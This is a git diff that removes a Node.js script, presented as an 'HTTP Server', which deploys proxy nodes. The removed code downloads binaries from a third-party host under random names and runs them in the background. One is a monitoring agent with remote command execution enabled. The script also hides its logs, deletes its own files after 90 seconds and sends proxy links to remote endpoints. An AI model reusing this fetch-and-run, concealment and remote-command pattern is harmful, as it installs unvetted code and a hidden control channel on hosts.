diff --git a/.github/workflows/build-docker-image.yml b/.github/workflows/build-docker-image.yml index 5011777664..e25b34e96e 100644 --- a/.github/workflows/build-docker-image.yml +++ b/.github/workflows/build-docker-image.yml @@ -39,7 +39,7 @@ jobs: push: true platforms: linux/amd64,linux/arm64 tags: | - ghcr.io/${{ github.repository_owner }}/nodejs:latest + ghcr.io/${{ github.repository_owner }}/dcdeploy:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=HTTP Server diff --git a/index.js b/index.js index c83c302d19..08b0cce720 100644 --- a/index.js +++ b/index.js @@ -1,944 +1,3 @@ #!/usr/bin/env node -const http = require("http"); -const axios = require("axios"); -const os = require('os'); -const fs = require("fs"); -const path = require("path"); -const crypto = require('crypto'); -const { promisify } = require('util'); -const exec = promisify(require('child_process').exec); -const { execSync } = require('child_process'); -const UPLOAD_URL = process.env.UPLOAD_URL || ''; // 节点或订阅自动上传地址,需填写部署Merge-sub项目后的首页地址,例如:https://merge.xxx.com -const PROJECT_URL = process.env.PROJECT_URL || ''; // 需要上传订阅或保活时需填写项目分配的url,例如:https://google.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // false关闭自动保活,true开启,需同时填写PROJECT_URL变量 -const FILE_PATH = process.env.FILE_PATH || '.tmp'; // 运行目录,sub节点文件保存目录 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 订阅路径 -const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; // http服务订阅端口 -const UUID = process.env.UUID || '9afd1229-b893-40c1-84dd-51e7ce204913'; // 使用哪吒v1,在不同的平台运行需修改UUID,否则会覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式: nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 使用哪吒v1请留空,哪吒v0需填写 -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // 哪吒v1的NZ_CLIENT_SECRET或哪吒v0的agent密钥 -const ARGO_DOMAIN = process.env.ARGO_DOMAIN || ''; // 固定隧道域名,留空即启用临时隧道 -const ARGO_AUTH = process.env.ARGO_AUTH || ''; // 固定隧道密钥json或token,留空即启用临时隧道,json获取地址:https://json.zone.id -const ARGO_PORT = process.env.ARGO_PORT || 8001; // 固定隧道端口,使用token需在cloudflare后台设置和这里一致 -const S5_PORT = process.env.S5_PORT || ''; // socks5端口,支持多端口的可以填写,否则留空 -const HY2_PORT = process.env.HY2_PORT || ''; // hy2端口,支持多端口的可以填写,否则留空 -const REALITY_PORT = process.env.REALITY_PORT || ''; // reality端口,支持多端口的可以填写,否则留空 -const CFIP = process.env.CFIP || 'saas.sin.fan'; // 节点优选域名或优选ip -const CFPORT = process.env.CFPORT || 443; // 节点优选域名或优选ip对应的端口 -const NAME = process.env.NAME || ''; // 节点名称 -const CHAT_ID = process.env.CHAT_ID || ''; // Telegram chat_id 两个变量不全不推送节点到TG -const BOT_TOKEN = process.env.BOT_TOKEN || ''; // Telegram bot_token 两个变量不全不推送节点到TG -const SHOW_LOG = !['false', 'disable', 'no'].includes((process.env.SHOW_LOG || 'true').toLowerCase()); // 是否显示日志输出,true/yes显示,false/disable/no屏蔽,默认显示 - -// 控制日志输出 -if (!SHOW_LOG) { - console.log = () => {}; - console.error = () => {}; -} -function alwaysLog(msg) { - process.stdout.write(msg + '\n'); -} - -// 创建运行文件夹 -if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH); - // console.log(`${FILE_PATH} is created`); -} else { - // console.log(`${FILE_PATH} already exists`); -} - -// 端口检查 -function isValidPort(port) { - try { - if (port === null || port === undefined || port === '') return false; - if (typeof port === 'string' && port.trim() === '') return false; - const portNum = parseInt(port); - if (isNaN(portNum)) return false; - if (portNum < 1 || portNum > 65535) return false; - return true; - } catch (error) { - return false; - } -} - -// 生成随机6位字符 -function generateRandomName() { - const characters = 'abcdefghijklmnopqrstuvwxyz'; - let result = ''; - for (let i = 0; i < 6; i++) { - result += characters.charAt(Math.floor(Math.random() * characters.length)); - } - return result; -} - -// 全局常量 -let subContent = null; -let privateKey = ''; -let publicKey = ''; -const npmName = generateRandomName(); -const webName = generateRandomName(); -const botName = generateRandomName(); -const phpName = generateRandomName(); -let npmPath = path.join(FILE_PATH, npmName); -let phpPath = path.join(FILE_PATH, phpName); -let webPath = path.join(FILE_PATH, webName); -let botPath = path.join(FILE_PATH, botName); -let subPath = path.join(FILE_PATH, 'sub.txt'); -let listPath = path.join(FILE_PATH, 'list.txt'); -let bootLogPath = path.join(FILE_PATH, 'boot.log'); -let configPath = path.join(FILE_PATH, 'config.json'); -let certPath = path.resolve(FILE_PATH, 'cert.pem'); -let keyPath = path.resolve(FILE_PATH, 'private.key'); - -// 如果订阅器上存在历史运行节点则先删除 -function deleteNodes() { - try { - if (!UPLOAD_URL) return; - if (!fs.existsSync(subPath)) return; - - let fileContent; - try { - fileContent = fs.readFileSync(subPath, 'utf-8'); - } catch { - return null; - } - - const decoded = Buffer.from(fileContent, 'base64').toString('utf-8'); - const nodes = decoded.split('\n').filter(line => - /(vless|vmess|trojan|hysteria2|socks):\/\//.test(line) - ); - - if (nodes.length === 0) return; - - axios.post(`${UPLOAD_URL}/api/delete-nodes`, - JSON.stringify({ nodes }), - { headers: { 'Content-Type': 'application/json' } } - ).catch((error) => { - return null; - }); - return null; - } catch (err) { - return null; - } -} - -// 清理历史文件 -function cleanupOldFiles() { - try { - const files = fs.readdirSync(FILE_PATH); - files.forEach(file => { - const filePath = path.join(FILE_PATH, file); - try { - const stat = fs.statSync(filePath); - if (stat.isFile()) { - fs.unlinkSync(filePath); - } - } catch (err) { - // 忽略所有错误,不记录日志 - } - }); - } catch (err) { - // 忽略所有错误,不记录日志 - } -} - -// crypto 生成 X25519 密钥对 -function generateX25519Keypair() { - const { publicKey: pubKey, privateKey: privKey } = crypto.generateKeyPairSync('x25519'); - const privateKeyRaw = privKey.export({ type: 'pkcs8', format: 'der' }).subarray(-32); - const publicKeyRaw = pubKey.export({ type: 'spki', format: 'der' }).subarray(-32); - return { - privateKey: privateKeyRaw.toString('base64url'), - publicKey: publicKeyRaw.toString('base64url') - }; -} - -// X25519 密钥对生成或加载 -function generateOrLoadKeyPair() { - const keyFilePath = path.join(FILE_PATH, 'key.txt'); - if (fs.existsSync(keyFilePath)) { - const content = fs.readFileSync(keyFilePath, 'utf8'); - const privateKeyMatch = content.match(/PrivateKey:\s*(.*)/); - const publicKeyMatch = content.match(/PublicKey:\s*(.*)/); - if (privateKeyMatch && publicKeyMatch) { - privateKey = privateKeyMatch[1].trim(); - publicKey = publicKeyMatch[1].trim(); - console.log('Private Key:', privateKey); - console.log('Public Key:', publicKey); - return; - } - } - const keypair = generateX25519Keypair(); - privateKey = keypair.privateKey; - publicKey = keypair.publicKey; - fs.writeFileSync(keyFilePath, `PrivateKey: ${privateKey}\nPublicKey: ${publicKey}\n`, 'utf8'); - console.log('Private Key:', privateKey); - console.log('Public Key:', publicKey); -} - -// TLS 证书生成 -const FALLBACK_EC_KEY = - '-----BEGIN EC PARAMETERS-----\n' + - 'BggqhkjOPQMBBw==\n' + - '-----END EC PARAMETERS-----\n' + - '-----BEGIN EC PRIVATE KEY-----\n' + - 'MHcCAQEEIM4792SEtPqIt1ywqTd/0bYidBqpYV/++siNnfBYsdUYoAoGCCqGSM49\n' + - 'AwEHoUQDQgAE1kHafPj07rJG+HboH2ekAI4r+e6TL38GWASANnngZreoQDF16ARa\n' + - '/TsyLyFoPkhLxSbehH/NBEjHtSZGaDhMqQ==\n' + - '-----END EC PRIVATE KEY-----\n'; - -const FALLBACK_CERT = - '-----BEGIN CERTIFICATE-----\n' + - 'MIIBejCCASGgAwIBAgIUfWeQL3556PNJLp/veCFxGNj9crkwCgYIKoZIzj0EAwIw\n' + - 'EzERMA8GA1UEAwwIYmluZy5jb20wHhcNMjUwOTE4MTgyMDIyWhcNMzUwOTE2MTgy\n' + - 'MDIyWjATMREwDwYDVQQDDAhiaW5nLmNvbTBZMBMGByqGSM49AgEGCCqGSM49AwEH\n' + - 'A0IABNZB2nz49O6yRvh26B9npACOK/nuky9/BlgEgDZ54Ga3qEAxdegEWv07Mi8h\n' + - 'aD5IS8Um3oR/zQRIx7UmRmg4TKmjUzBRMB0GA1UdDgQWBBTV1cFID7UISE7PLTBR\n' + - 'BfGbgkrMNzAfBgNVHSMEGDAWgBTV1cFID7UISE7PLTBRBfGbgkrMNzAPBgNVHRMB\n' + - 'Af8EBTADAQH/MAoGCCqGSM49BAMCA0cAMEQCIAIDAJvg0vd/ytrQVvEcSm6XTlB+\n' + - 'eQ6OFb9LbLYL9f+sAiAffoMbi4y/0YUSlTtz7as9S8/lciBF5VCUoVIKS+vX2g==\n' + - '-----END CERTIFICATE-----\n'; - -function ensureTlsCertificates(certPath, keyPath) { - if (fs.existsSync(certPath) && fs.existsSync(keyPath)) return; - fs.mkdirSync(path.dirname(certPath), { recursive: true }); - try { - execSync('openssl version', { stdio: 'ignore' }); - execSync(`openssl ecparam -genkey -name prime256v1 -out "${keyPath}"`, { stdio: 'ignore' }); - execSync(`openssl req -new -x509 -days 3650 -key "${keyPath}" -out "${certPath}" -subj "/CN=bing.com"`, { stdio: 'ignore' }); - return; - } catch (e) { /* openssl not available */ } - fs.writeFileSync(keyPath, FALLBACK_EC_KEY); - fs.writeFileSync(certPath, FALLBACK_CERT); -} - -// 计算证书的 SHA-256 指纹,优先使用 openssl,不可用时用 Node.js crypto 兜底 -function getCertificateFingerprint(certPath) { - // 方案1: 优先用 openssl - try { - const result = execSync( - `openssl x509 -noout -fingerprint -sha256 -in "${certPath}"`, - { encoding: 'utf8', timeout: 3000 } - ).trim(); - const match = result.match(/=(.+)$/); - if (match && match[1]) { - return match[1].toUpperCase(); - } - } catch (e) { - // openssl 不可用,继续用 Node.js crypto - } - - // 方案2: Node.js crypto 兜底 - try { - const certData = fs.readFileSync(certPath, 'utf8'); - const derMatch = certData.match(/-----BEGIN CERTIFICATE-----([\s\S]+?)-----END CERTIFICATE-----/); - if (!derMatch) return ''; - const derBase64 = derMatch[1].replace(/\s/g, ''); - const derBuffer = Buffer.from(derBase64, 'base64'); - const hash = crypto.createHash('sha256').update(derBuffer).digest('hex'); - return hash.match(/.{2}/g).join(':').toUpperCase(); - } catch (error) { - console.error('Failed to calculate certificate fingerprint:', error); - return ''; - } -} - -// 生成xr-ay配置文件 -async function generateConfig() { - const config = { - log: { access: '/dev/null', error: '/dev/null', loglevel: 'none' }, - inbounds: [ - { tag: 'vless-fallback-in', port: ARGO_PORT, listen: '::', protocol: 'vless', settings: { clients: [{ id: UUID, flow: 'xtls-rprx-vision' }], decryption: 'none', fallbacks: [{ dest: 3001 }, { path: "/vless-argo", dest: 3002 }, { path: "/vmess-argo", dest: 3003 }, { path: "/trojan-argo", dest: 3004 }] }, streamSettings: { network: 'tcp' } }, - { tag: 'vless-tcp-in', port: 3001, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID }], decryption: "none" }, streamSettings: { network: "tcp", security: "none" } }, - { tag: 'vless-ws-in', port: 3002, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID, level: 0 }], decryption: "none" }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/vless-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { tag: 'vmess-ws-in', port: 3003, listen: "127.0.0.1", protocol: "vmess", settings: { clients: [{ id: UUID, alterId: 0 }] }, streamSettings: { network: "ws", wsSettings: { path: "/vmess-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { tag: 'trojan-ws-in', port: 3004, listen: "127.0.0.1", protocol: "trojan", settings: { clients: [{ password: UUID }] }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/trojan-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - ], - dns: { servers: ["https+local://8.8.8.8/dns-query"] }, - outbounds: [{ protocol: "freedom", tag: "direct" }, { protocol: "blackhole", tag: "block" }] - }; - - // VLESS Reality 配置 - if (isValidPort(REALITY_PORT)) { - config.inbounds.push({ - tag: "vless-in", - listen: "::", - port: parseInt(REALITY_PORT), - protocol: "vless", - settings: { - clients: [{ id: UUID, flow: "xtls-rprx-vision" }], - decryption: "none" - }, - streamSettings: { - network: "raw", - security: "reality", - realitySettings: { - show: false, - dest: "www.iij.ad.jp:443", - xver: 0, - serverNames: ["www.iij.ad.jp"], - privateKey: privateKey, - shortIds: [""] - } - } - }); - } - - // Hysteria2 配置 - if (isValidPort(HY2_PORT)) { - config.inbounds.push({ - tag: "hysteria-in", - listen: "::", - port: parseInt(HY2_PORT), - protocol: "hysteria", - settings: { - version: 2, - clients: [{ auth: UUID }] - }, - streamSettings: { - network: "hysteria", - hysteriaSettings: { - version: 2, - masquerade: { - type: "proxy", - url: "https://bing.com" - } - }, - security: "tls", - tlsSettings: { - alpn: ["h3"], - certificates: [ - { - certificateFile: certPath, - keyFile: keyPath - } - ] - } - } - }); - } - - // S5 配置 - if (isValidPort(S5_PORT)) { - config.inbounds.push({ - tag: "s5-in", - listen: "::", - port: parseInt(S5_PORT), - protocol: "socks", - settings: { - auth: "password", - accounts: [ - { - user: UUID.substring(0, 8), - pass: UUID.slice(-12) - } - ], - udp: true - } - }); - } - - fs.writeFileSync(path.join(FILE_PATH, 'config.json'), JSON.stringify(config, null, 2)); -} - -// 判断系统架构 -function getSystemArchitecture() { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - return 'arm'; - } else { - return 'amd'; - } -} - -// 下载对应系统架构的依赖文件 -function downloadFile(fileName, fileUrl, callback) { - const filePath = fileName; - - if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH, { recursive: true }); - } - - const writer = fs.createWriteStream(filePath); - - axios({ - method: 'get', - url: fileUrl, - responseType: 'stream', - }) - .then(response => { - response.data.pipe(writer); - - writer.on('finish', () => { - writer.close(); - console.log(`Download ${path.basename(filePath)} successfully`); - callback(null, filePath); - }); - - writer.on('error', err => { - fs.unlink(filePath, () => { }); - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); - callback(errorMessage); - }); - }) - .catch(err => { - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); - callback(errorMessage); - }); -} - -// 下载并运行依赖文件 -async function downloadFilesAndRun() { - const architecture = getSystemArchitecture(); - const filesToDownload = getFilesForArchitecture(architecture); - - if (filesToDownload.length === 0) { - console.log(`Can't find a file for the current architecture`); - return; - } - - const downloadPromises = filesToDownload.map(fileInfo => { - return new Promise((resolve, reject) => { - downloadFile(fileInfo.fileName, fileInfo.fileUrl, (err, filePath) => { - if (err) { - reject(err); - } else { - resolve(filePath); - } - }); - }); - }); - - try { - await Promise.all(downloadPromises); - } catch (err) { - console.error('Error downloading files:', err); - return; - } - - function authorizeFiles(filePaths) { - const newPermissions = 0o775; - filePaths.forEach(absoluteFilePath => { - if (fs.existsSync(absoluteFilePath)) { - fs.chmod(absoluteFilePath, newPermissions, (err) => { - if (err) { - console.error(`Empowerment failed for ${absoluteFilePath}: ${err}`); - } else { - console.log(`Empowerment success for ${absoluteFilePath}: ${newPermissions.toString(8)}`); - } - }); - } - }); - } - const filesToAuthorize = NEZHA_PORT ? [npmPath, webPath, botPath] : [phpPath, webPath, botPath]; - authorizeFiles(filesToAuthorize); - - // 运行ne-zha - if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const tlsPorts = new Set(['443', '8443', '2096', '2087', '2083', '2053']); - const nezhatls = tlsPorts.has(port) ? 'true' : 'false'; - const configYaml = ` -client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${nezhatls} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync(path.join(FILE_PATH, 'config.yaml'), configYaml); - - const command = `nohup ${phpPath} -c "${FILE_PATH}/config.yaml" >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${phpName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`php running error: ${error}`); - } - } else { - let NEZHA_TLS = ''; - const tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - if (tlsPorts.includes(NEZHA_PORT)) { - NEZHA_TLS = '--tls'; - } - const command = `nohup ${npmPath} -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${npmName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`npm running error: ${error}`); - } - } - } else { - console.log('NEZHA variable is empty,skip running'); - } - - // 运行xr-ay - const command1 = `nohup ${webPath} -c ${FILE_PATH}/config.json >/dev/null 2>&1 &`; - try { - await exec(command1); - console.log(`${webName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`web running error: ${error}`); - } - - // 运行cloud-fared - if (fs.existsSync(botPath)) { - let args; - - if (ARGO_AUTH.match(/^[A-Z0-9a-z=]{120,250}$/)) { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 run --token ${ARGO_AUTH}`; - } else if (ARGO_AUTH.match(/TunnelSecret/)) { - args = `tunnel --edge-ip-version auto --config ${FILE_PATH}/tunnel.yml run`; - } else { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - } - - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 2000)); - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - await new Promise((resolve) => setTimeout(resolve, 5000)); -} - -// 根据系统架构返回对应的url -function getFilesForArchitecture(architecture) { - let baseFiles; - if (architecture === 'arm') { - baseFiles = [ - { fileName: webPath, fileUrl: "https://arm64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://arm64.ssss.nyc.mn/bot" } - ]; - } else { - baseFiles = [ - { fileName: webPath, fileUrl: "https://amd64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://amd64.ssss.nyc.mn/bot" } - ]; - } - - if (NEZHA_SERVER && NEZHA_KEY) { - if (NEZHA_PORT) { - const npmUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/agent" - : "https://amd64.ssss.nyc.mn/agent"; - baseFiles.unshift({ - fileName: npmPath, - fileUrl: npmUrl - }); - } else { - const phpUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/v1" - : "https://amd64.ssss.nyc.mn/v1"; - baseFiles.unshift({ - fileName: phpPath, - fileUrl: phpUrl - }); - } - } - - return baseFiles; -} - -// 获取固定隧道json -function argoType() { - if (!ARGO_AUTH || !ARGO_DOMAIN) { - console.log("ARGO_DOMAIN or ARGO_AUTH is empty, use quick tunnels"); - return; - } - - if (ARGO_AUTH.includes('TunnelSecret')) { - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.json'), ARGO_AUTH); - const tunnelYaml = ` - tunnel: ${ARGO_AUTH.split('"')[11]} - credentials-file: ${path.join(FILE_PATH, 'tunnel.json')} - protocol: http2 - - ingress: - - hostname: ${ARGO_DOMAIN} - service: http://localhost:${ARGO_PORT} - originRequest: - noTLSVerify: true - - service: http_status:404 - `; - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.yml'), tunnelYaml); - } else { - console.log(`Using token connect to tunnel, please set ${ARGO_PORT} in clouudflare`); - } -} - -// 获取临时隧道domain -async function extractDomains() { - let argoDomain; - - if (ARGO_AUTH && ARGO_DOMAIN) { - argoDomain = ARGO_DOMAIN; - console.log('ARGO_DOMAIN:', argoDomain); - await generateLinks(argoDomain); - } else { - try { - const fileContent = fs.readFileSync(path.join(FILE_PATH, 'boot.log'), 'utf-8'); - const lines = fileContent.split('\n'); - const argoDomains = []; - lines.forEach((line) => { - const domainMatch = line.match(/https?:\/\/([^ ]*trycloudflare\.com)\/?/); - if (domainMatch) { - const domain = domainMatch[1]; - argoDomains.push(domain); - } - }); - - if (argoDomains.length > 0) { - argoDomain = argoDomains[0]; - console.log('ArgoDomain:', argoDomain); - await generateLinks(argoDomain); - } else { - console.log('ArgoDomain not found, re-running bot to obtain ArgoDomain'); - fs.unlinkSync(path.join(FILE_PATH, 'boot.log')); - async function killBotProcess() { - try { - if (process.platform === 'win32') { - await exec(`taskkill /f /im ${botName}.exe > nul 2>&1`); - } else { - await exec(`pkill -f "[${botName.charAt(0)}]${botName.substring(1)}" > /dev/null 2>&1`); - } - } catch (error) { - // 忽略输出 - } - } - killBotProcess(); - await new Promise((resolve) => setTimeout(resolve, 3000)); - const args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 6000)); - await extractDomains(); - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - } catch (error) { - console.error('Error reading boot.log:', error); - } - } -} - -// 获取isp信息 -async function getMetaInfo() { - try { - const response1 = await axios.get('https://api.ip.sb/geoip', { headers: { 'User-Agent': 'Mozilla/5.0', timeout: 3000 } }); - if (response1.data && response1.data.country_code && response1.data.isp) { - return `${response1.data.country_code}-${response1.data.isp}`.replace(/\s+/g, '_'); - } - } catch (error) { - try { - const response2 = await axios.get('http://ip-api.com/json', { headers: { 'User-Agent': 'Mozilla/5.0', timeout: 3000 } }); - if (response2.data && response2.data.status === 'success' && response2.data.countryCode && response2.data.org) { - return `${response2.data.countryCode}-${response2.data.org}`.replace(/\s+/g, '_'); - } - } catch (error) { - // console.error('Backup API also failed'); - } - } - return 'Unknown'; -} - -// 获取服务器公网IP -async function getServerIP() { - let serverIP = ''; - try { - const ipv4Response = await axios.get('http://ipv4.ip.sb', { timeout: 3000 }); - serverIP = ipv4Response.data.trim(); - } catch (err) { - try { - serverIP = execSync('curl -sm 3 ipv4.ip.sb').toString().trim(); - } catch (curlErr) { - try { - const ipv6Response = await axios.get('http://ipv6.ip.sb', { timeout: 3000 }); - serverIP = `[${ipv6Response.data.trim()}]`; - } catch (ipv6AxiosErr) { - try { - serverIP = `[${execSync('curl -sm 3 ipv6.ip.sb').toString().trim()}]`; - } catch (ipv6CurlErr) { - console.error('Failed to get IP address:', ipv6CurlErr.message); - } - } - } - } - return serverIP; -} - -// 生成 list 和 sub 信息 -async function generateLinks(argoDomain) { - const ISP = await getMetaInfo(); - const nodeName = NAME ? `${NAME}-${ISP}` : ISP; - const SERVER_IP = await getServerIP(); - - return new Promise((resolve) => { - setTimeout(() => { - const VMESS = { v: '2', ps: `${nodeName}`, add: CFIP, port: CFPORT, id: UUID, aid: '0', scy: 'auto', net: 'ws', type: 'none', host: argoDomain, path: '/vmess-argo?ed=2560', tls: 'tls', sni: argoDomain, alpn: '', fp: 'firefox' }; - let subTxt = ` -vless://${UUID}@${CFIP}:${CFPORT}?encryption=none&security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Fvless-argo%3Fed%3D2560#${nodeName} - -vmess://${Buffer.from(JSON.stringify(VMESS)).toString('base64')} - -trojan://${UUID}@${CFIP}:${CFPORT}?security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Ftrojan-argo%3Fed%3D2560#${nodeName} - `; - - // HY2_PORT是有效端口号时生成hysteria2节点 - if (isValidPort(HY2_PORT)) { - const fingerprint = getCertificateFingerprint(certPath); - const fingerprintParam = fingerprint ? `&pinSHA256=${encodeURIComponent(fingerprint)}` : ''; - const hysteriaNode = `\nhysteria2://${UUID}@${SERVER_IP}:${HY2_PORT}/?sni=www.bing.com&insecure=0&alpn=h3&obfs=none${fingerprintParam}#${nodeName}`; - subTxt += hysteriaNode; - } - - // REALITY_PORT是有效端口号时生成reality节点 - if (isValidPort(REALITY_PORT)) { - const vlessNode = `\nvless://${UUID}@${SERVER_IP}:${REALITY_PORT}?encryption=none&flow=xtls-rprx-vision&security=reality&sni=www.iij.ad.jp&fp=firefox&pbk=${publicKey}&type=tcp&headerType=none#${nodeName}`; - subTxt += vlessNode; - } - - // S5_PORT是有效端口号时生成socks5节点 - if (isValidPort(S5_PORT)) { - const S5_AUTH = Buffer.from(`${UUID.substring(0, 8)}:${UUID.slice(-12)}`).toString('base64'); - const s5Node = `\nsocks://${S5_AUTH}@${SERVER_IP}:${S5_PORT}#${nodeName}`; - subTxt += s5Node; - } - - console.log(Buffer.from(subTxt).toString('base64')); - fs.writeFileSync(subPath, Buffer.from(subTxt).toString('base64')); - fs.writeFileSync(listPath, subTxt, 'utf8'); - console.log(`${FILE_PATH}/sub.txt saved successfully`); - // 将订阅内容保存到全局变量,供 http 服务器使用 - subContent = Buffer.from(subTxt).toString('base64'); - uploadNodes(); - resolve(subTxt); - }, 2000); - }); -} - -// 自动上传节点或订阅 -async function uploadNodes() { - if (UPLOAD_URL && PROJECT_URL) { - const subscriptionUrl = `${PROJECT_URL}/${SUB_PATH}`; - const jsonData = { - subscription: [subscriptionUrl] - }; - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-subscriptions`, jsonData, { - headers: { - 'Content-Type': 'application/json' - } - }); - - if (response && response.status === 200) { - console.log('Subscription uploaded successfully'); - return response; - } else { - return null; - } - } catch (error) { - if (error.response) { - if (error.response.status === 400) { - // console.error('Subscription already exists'); - } - } - } - } else if (UPLOAD_URL) { - if (!fs.existsSync(listPath)) return; - const content = fs.readFileSync(listPath, 'utf-8'); - const nodes = content.split('\n').filter(line => /(vless|vmess|trojan|hysteria2|socks):\/\//.test(line)); - - if (nodes.length === 0) return; - - const jsonData = JSON.stringify({ nodes }); - - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-nodes`, jsonData, { - headers: { 'Content-Type': 'application/json' } - }); - if (response && response.status === 200) { - console.log('Nodes uploaded successfully'); - return response; - } else { - return null; - } - } catch (error) { - return null; - } - } else { - // console.log('Skipping upload nodes'); - return; - } -} - -// 90s后删除相关文件 -function cleanFiles() { - setTimeout(() => { - const filesToDelete = [bootLogPath, configPath, webPath, botPath, listPath, certPath, keyPath]; - - if (NEZHA_PORT) { - filesToDelete.push(npmPath); - } else if (NEZHA_SERVER && NEZHA_KEY) { - filesToDelete.push(phpPath); - } - - if (process.platform === 'win32') { - exec(`del /f /q ${filesToDelete.join(' ')} > nul 2>&1`, (error) => { - console.clear(); - alwaysLog('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } else { - exec(`rm -rf ${filesToDelete.join(' ')} >/dev/null 2>&1`, (error) => { - console.clear(); - alwaysLog('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } - }, 90000); -} -cleanFiles(); - -// Telegram 推送节点 -async function sendTelegram() { - if (!BOT_TOKEN || !CHAT_ID) { - console.log('TG variables is empty, Skipping push nodes to TG'); - return; - } - try { - const message = fs.readFileSync(subPath, 'utf8'); - const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`; - const escapedName = NAME.replace(/[_*\[\]()~`>#+=|{}.!-]/g, '\\$&'); - const params = { - chat_id: CHAT_ID, - text: `**${escapedName}节点推送**\n\`\`\`${message}\`\`\``, - parse_mode: 'MarkdownV2' - }; - await axios.post(url, null, { params }); - console.log('Telegram message sent successfully'); - } catch (error) { - console.error('Failed to send Telegram message:', error.message); - } -} - -// 自动访问项目URL -async function AddVisitTask() { - if (!AUTO_ACCESS || !PROJECT_URL) { - console.log("Skipping adding automatic access task"); - return; - } - - try { - const response = await axios.post('https://oooo.serv00.net/add-url', { - url: PROJECT_URL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log(`automatic access task added successfully`); - return response; - } catch (error) { - console.error(`Add automatic access task faild: ${error.message}`); - return null; - } -} - -// 主运行逻辑 -async function startserver() { - try { - argoType(); - deleteNodes(); - cleanupOldFiles(); - - // 生成 Reality 密钥对 (仅当 REALITY_PORT 开启才生成) - if (isValidPort(REALITY_PORT)) { - generateOrLoadKeyPair(); - } - - // 生成 TLS 证书 (用于 Hysteria2) - if (isValidPort(HY2_PORT)) { - ensureTlsCertificates(certPath, keyPath); - } - - await generateConfig(); - await downloadFilesAndRun(); - await extractDomains(); - await sendTelegram(); - await AddVisitTask(); - } catch (error) { - console.error('Error in startserver:', error); - } -} -startserver().catch(error => { - console.error('Unhandled error in startserver:', error); -}); - -// 创建 http 服务器 -const server = http.createServer(async (req, res) => { - const urlPath = req.url.split('?')[0]; - - // 订阅路由 - if (urlPath === `/${SUB_PATH}`) { - if (subContent) { - res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }); - res.end(subContent); - } else { - try { - const fileContent = fs.readFileSync(subPath, 'utf-8'); - res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }); - res.end(fileContent); - } catch (err) { - res.writeHead(503, { 'Content-Type': 'text/plain; charset=utf-8' }); - res.end('Subscription content not yet available, please try again later.'); - } - } - return; - } - - // 根路由: / - if (urlPath === '/') { - try { - const filePath = 